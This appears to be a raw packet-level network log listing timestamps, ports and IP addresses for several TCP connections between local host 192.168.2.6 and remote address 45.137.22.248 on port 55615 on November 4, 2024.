Nov 4, 2024 04:32:15.509759903 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.509768963 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.509778023 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.509787083 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.509793997 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.509803057 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.509810925 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.509819031 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.509898901 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.509907007 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.509916067 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.509924889 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.509928942 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.509936094 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.509948015 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.509955883 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.509970903 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.509979963 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.510024071 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.510032892 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.510065079 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.510072947 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.510088921 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.510097027 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.510169029 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.510179043 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.510188103 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.510196924 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.510212898 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.510221958 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.510241985 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.510289907 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.510299921 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.510369062 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.510379076 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.510386944 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.510396004 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.510400057 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.510459900 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.510468960 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.510478020 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.510487080 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.510494947 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.510504007 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.510585070 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.510593891 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.510601997 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.510610104 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.510708094 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.510718107 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.510725975 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.510735035 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.510744095 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.510760069 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.510768890 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.510811090 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.510827065 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.510834932 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.510880947 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.510890007 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.510922909 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.510931969 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.510948896 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.510957003 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.511007071 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.511015892 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.511053085 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.511061907 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.511070013 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.511122942 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.511183977 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.511193037 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.511245012 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.511254072 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.511261940 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.511382103 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.511390924 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.511399031 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.511409044 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.511419058 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.511467934 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.511501074 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.511565924 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.511574984 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.511586905 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.511668921 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.511722088 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.511732101 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.511763096 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.511850119 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.513288021 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.513397932 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.513451099 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.513514042 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.513571024 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.513732910 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.513910055 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.514048100 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.514224052 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.527457952 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.905955076 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.931027889 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:20.278641939 CET	49784	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:20.283399105 CET	55615	49784	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:20.533976078 CET	55615	49784	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:20.534392118 CET	49784	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:20.539505005 CET	55615	49784	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:20.816849947 CET	55615	49784	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:20.816871881 CET	55615	49784	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:20.816881895 CET	55615	49784	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:20.816912889 CET	55615	49784	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:20.816924095 CET	55615	49784	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:20.816931009 CET	49784	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:20.816937923 CET	55615	49784	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:20.816957951 CET	49784	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:20.816971064 CET	49784	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:20.948652983 CET	55615	49784	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:20.948705912 CET	55615	49784	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:20.948874950 CET	49784	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:23.731626987 CET	49784	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:23.732064009 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:23.736921072 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:23.737176895 CET	55615	49784	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:23.737262964 CET	49784	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:23.737309933 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:23.738605022 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:23.743406057 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.084029913 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:24.088927984 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.088941097 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.089009047 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.089018106 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.089026928 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:24.089051962 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.089067936 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.089088917 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:24.089091063 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.089118004 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:24.089190006 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:24.089246035 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.089255095 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.089266062 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.089307070 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:24.093801022 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.093950987 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:24.093981981 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.093991041 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.094011068 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.094026089 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.094042063 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:24.094067097 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.094090939 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:24.094151020 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:24.140219927 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.140388966 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:24.188219070 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.188389063 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:24.236246109 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.236320972 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:24.284235001 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.284301996 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:24.325607061 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.326771975 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:24.331765890 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.331777096 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.331815958 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.331825018 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.331840038 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:24.331856012 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:24.331871033 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.331881046 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.331887007 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:24.331906080 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.331914902 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.331931114 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:24.331959009 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.331964016 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:24.331968069 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.332004070 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.332012892 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.332020998 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:24.332035065 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.332056046 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:24.332089901 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.332093954 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:24.332099915 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.332146883 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:24.332146883 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.332199097 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.332204103 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:24.332207918 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.332218885 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.332247019 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:24.332272053 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:24.332273006 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.332297087 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.332321882 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:24.332341909 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:24.332345963 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.332355976 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.332390070 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.332406044 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.332412004 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:24.332431078 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:24.332449913 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:24.332526922 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.332536936 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.332583904 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:24.332596064 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.332606077 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.332645893 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:24.336776018 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.336800098 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.336849928 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.336862087 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:24.336895943 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:24.336900949 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.336944103 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:24.336971045 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.336981058 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.337013006 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.337022066 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:24.337050915 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:24.337110996 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.337121010 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.337146997 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.337158918 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:24.337171078 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.337179899 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.337186098 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:24.337219954 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:24.337296009 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.337305069 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.337315083 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.337344885 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.337369919 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:24.337388992 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:24.381097078 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.381151915 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:24.432282925 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.432353973 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:24.441286087 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.441513062 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:24.441596031 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:24.441632032 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:24.446491003 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.446501017 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.446554899 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:24.446584940 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.446594954 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.446635008 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:24.446862936 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.446901083 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.446930885 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:24.447011948 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.447022915 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.447063923 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:24.447101116 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.447112083 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.447151899 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:24.447171926 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.447180986 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.447217941 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:24.447266102 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.447276115 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.447319984 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:24.447340965 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.447350025 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.447396040 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:24.447412968 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.447422028 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.447453022 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.447463036 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:24.447494030 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:24.447501898 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.447510958 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.447519064 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.447554111 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:24.447562933 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.447577953 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.447609901 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:24.447623014 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:24.447623968 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.447633982 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.447675943 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:24.447707891 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.447716951 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.447731972 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.447741032 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.447757959 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:24.447772026 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:24.447791100 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.447794914 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:24.447798967 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.447844982 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:24.447865963 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.447875023 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.447882891 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.447892904 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.447901011 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.447909117 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.447916031 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:24.447923899 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.447932959 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.447942019 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.447943926 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:24.447952032 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.447969913 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:24.447993994 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.447999954 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:24.448003054 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.448010921 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.448019981 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.448035002 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.448043108 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.448052883 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:24.448059082 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.448067904 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.448095083 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:24.448112965 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:24.448117018 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.448126078 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.448174000 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:24.448177099 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.448187113 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.448215961 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:24.448235035 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:24.448259115 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.448267937 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.448276997 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.448306084 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.448312044 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:24.448323011 CET	55615	49837	45.137.22.248	192.168.2.6
